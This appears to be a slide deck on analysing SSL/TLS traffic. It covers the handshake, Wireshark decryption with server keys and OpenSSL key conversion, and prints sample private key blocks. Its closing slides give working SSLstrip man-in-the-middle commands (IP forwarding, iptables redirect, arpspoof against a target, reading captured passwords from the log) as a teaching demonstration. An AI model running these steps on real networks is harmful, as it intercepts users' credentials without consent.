Sniffing SSL Traffic

Challenges Confidentiality Encryption and Decryption Message Integrity Message Digest and Message Signing Endpoint Authentication & Nonrepudiation Certificates and Certificate Authorities SSL

Question ? Who… … troubleshooted SSL traffic before? … decrypted SSL traffic before? … and ran into problems decrypting? … knows the purpose of each handshake message? … troubleshooted client authentication problems?

Agenda Cryptology overview The SSL protocol Analyzing SSL Fun with SSLstrip Questions & Discussion

Symmetric Encryption Same key for encryption and decryption Computatively "cheap" Short keys (typically 40-256 bits) DES, 3DES, AESxxx, RC4

Asymmetric Encryption One key for encryption, second key for decryption (both keys form a pair) Computatively "expensive" Long keys (typically 512-4096 bits) RSA, DSA

Hashing / Message Digest Irreversible original text not reproducible from the digest Collision-resistance "Not possible" to create a message M' so that it has the same digest as message M MD5, SHA-1, SHA-2 4fe7ad41

Message Signing Create digest of message Encrypt digest with private key Authenticity and sender of message can be checked with public key 4fe7ad41 3e7bc46a 4fe7ad41 4fe7ad41 3e7bc46a = ?

Digital Certificates "In cryptography, a public key certificate (or identity certificate) is an electronic document which utilizes a digital signature to bind together a public key with an identity." (From http://en.wikipedia.org/wiki/Digital_certificate) But who is signing???

Certificate Authorities Mutually trusted by sender and receiver "Solves" key exchange problems CA's can be chained Top of chain is "self-signed" (and is called the "Root CA")

Agenda Cryptology overview The SSL protocol Analyzing SSL Further reading & Links Questions & Discussion

SSL History SSLv1 by Netscape (unreleased, 1994) SSLv2 by Netscape ( v2-draft ,1994) SSLv3 by Netscape ( v3-draft , 1995) TLSv1.0, IETF ( RFC 2246 , 1999) TLSv1.1, IETF ( RFC 4346 , 2006) TLSv1.2, IETF ( RFC 5246 , 2008)

Place in TCP/IP stack Between transport and application layer Protocol independent IP TCP HTTP SMTP … SSL/TLS SSL record layer handshake change cipherspec application data alert

SSL Record Layer Provides fragmentation Multiple SSL messages (of one content type) per SSL Record allowed SSL Record can be split over multiple TCP-segments One TCP-segment can contain multiple SSL Records (or fragments)

SSL Content Types Handshake Protocol (0x16) responsible for authentication and key setup Change Cipher Spec Protocol (0x14) Notify start of encryption Alert Protocol (0x15) Reporting of warnings and fatal errors Application Protocol (0x17) Actual encryption and transport of data

Analyzing the SSL handshake Normal RSA handshake Ephemeral RSA (or DH) handshake SSL session with client authentication Reusing SSL sessions Reused SSL session (partial handshake) Expired SSL session No SSL reuse

Normal RSA handshake Client Server ServerHello ClientHello Certificate ServerHelloDone ClientKeyExchange ChangeCipherSpec Finished (encrypted) ChangeCipherSpec Finished (encrypted)

Analyzing the SSL record layer (1)

Ephemeral RSA (or DH) handshake Client Server ServerHello ClientHello Certificate ServerHelloDone ClientKeyExchange ChangeCipherSpec Finished (encrypted) ChangeCipherSpec Finished (encrypted) ServerKeyExchange

Client Authentication Client Server ServerHello ClientHello Certificate ServerHelloDone Certificate ClientKeyExchange Finished (encrypted) ChangeCipherSpec Finished (encrypted) CertificateRequest CertificateVerify ChangeCipherSpec

Caching SSL sessions Key negotiation "expensive" Cache SSL sessions between TCP sessions and continue where left off SSL session ID is used as Index Timeout on SSL session ID is an "absolute timeout" not an "idle timeout" Old IE: 2 minutes, now 10 hours

Handshake of a Reused Session Client Server ServerHello ClientHello ChangeCipherSpec Finished (encrypted) ChangeCipherSpec Finished (encrypted)

SSL session reuse (new, reused and expired) Full Handshake Partial Handshake

Analyzing SSL alerts Without decryption: With decryption:

Decrypting SSL traffic Provide server private key to Wireshark Only works when whole session (including full handshake) is in the tracefile Does not work with Ephemeral RSA or DH ciphers (ServerKeyExchange present) Also works with Client Authentication

Providing the server private key (1) tshark -r file.cap -o ssl.keys_list:192.168.3.3,443,http,"c:\key.pem" \ -o ssl.debug_file:"c:\ssl-debug.log" -V -R http ssl.keys_list: 192.168.3.3,443,http,c:\key.pem ssl.debug_file: c:\temp\ssl-debug.log Wireshark preferences file: When using Tshark:

Must be in PEM format without passphrase … or PKCS12 format (passphrase allowed) File is binary Providing the server private key (2) PEM keyfile *with* passphrase: -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: DES-EDE3-CBC,F6C218D4FA3C8B66 FR2cnmkkFHH45Dcsty1qDiIUy/uXn+9m/xeQMVRxtiSAmBmnUDUFIFCDDiDc9yif ERok2jPr2BzAazl5RBxS2TY/+7x0/dHD11sF3LnJUoNruo77TERxqgzOI0W1VDRA ... ygw5JslxgiN18F36E/cEP5rKvVYvfEPMa6IsiRhfZk1jLAuZihVWc7JodDf+6RKV yBXrK/bDtdEih+bOnYu+ZDvjAzVz9GhggCW4QHNboDpTxrrYPkj5Nw== -----END RSA PRIVATE KEY----- PEM keyfile *without* passphrase: -----BEGIN RSA PRIVATE KEY----- MIICXgIBAAKBgQDrHdbb+yGE6m6EZ03bXURpZCjch2H6g97ZAkJVGrjLZFfettBA EYa8vYYxWsf8KBpEZeksSCsDA9MnU2H6QDjzqdOnaSWfeXMAr4OsCOpauStpreq7 q1hk8iOqy+f4KijRrhWplh1QW1A8gtSIg137pyUhW+WsfwxKwmzjGIC1SwIDAQAB AoGBAMneA9U6KIxjb+JUg/99c7h9W6wEvTYHNTXjf6psWA+hpuQ82E65/ZJdszL6 ... b6QKMh16r5wd6smQ+CmhOEnqqyT5AIwwl2RIr9GbfIpTbtbRQw/EcQOCx9wFiEfo tGSsEFi72rHK+DpJqRI9AkEA72gdyXRgPfGOS3rfQ3DBcImBQvDSCBa4cuU1XJ1/ MO93a8v9Vj87/yDm4xsBDsoz2PyBepawHVlIvZ6jDD0aXw== -----END RSA PRIVATE KEY----- ssl_init keys string: 192.168.3.3,443,http,c:\temp\public.sharkfest.local.key ssl_init found host entry 192.168.3.3,443,http,c:\temp\public.sharkfest.local.key ssl_init addr '192.168.3.3' port '443' filename 'c:\temp\public.sharkfest.local.key' password(only for p12 file) '(null)' ssl_load_key: can't import pem data SSL debug log:

Converting keys root@mgmt# openssl rsa -in encrypted.key -out cleartext.key Enter pass phrase for encrypted.key: <passphrase> writing RSA key root@mgmt# root@mgmt# openssl pkcs12 -in pem.cert -inkey pem.key -export -out cert.pkcs12 Enter Export Password: <new-passphrase> Verifying - Enter Export Password: <new-passphrase> root@mgmt# root@mgmt# openssl rsa -inform DER -in der.key -out pem.key Enter pass phrase for encrypted.key: <passphrase> writing RSA key root@mgmt# Removing passphrase: Converting from DER to PEM (and removing passphrase): Converting from PEM to PKCS12 (and adding passphrase):

Preparation of the proxy First we make sure that we are making routing and nat; deniz@pt1:~# cat /proc/sys/net/ipv4/ip_forward 0 deniz@pt1 :~# echo "1" > /proc/sys/net/ipv4/ip_forward deniz@pt1 :~# cat /proc/sys/net/ipv4/ip_forward 1 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

Man in the middle starts We are sending spoofed arp addresses to default gateway and to the target machine; arpspoof –i eth0 –t 192.168.11.231 192.168.11.244

SSL Strip We are now starting SSL Strip proxy; ./sslstrip –l 8080

Here is the user and password from logs Tail –f sslstrip.log

Questions & Discussion ? ? ? ? ? ? ? ? ? ? ? ? ? ?

Sniffing SSL Traffic

More Related Content

What's hot (20)

Viewers also liked (20)

Similar to Sniffing SSL Traffic (20)

Recently uploaded (20)

Sniffing SSL Traffic

Editor's Notes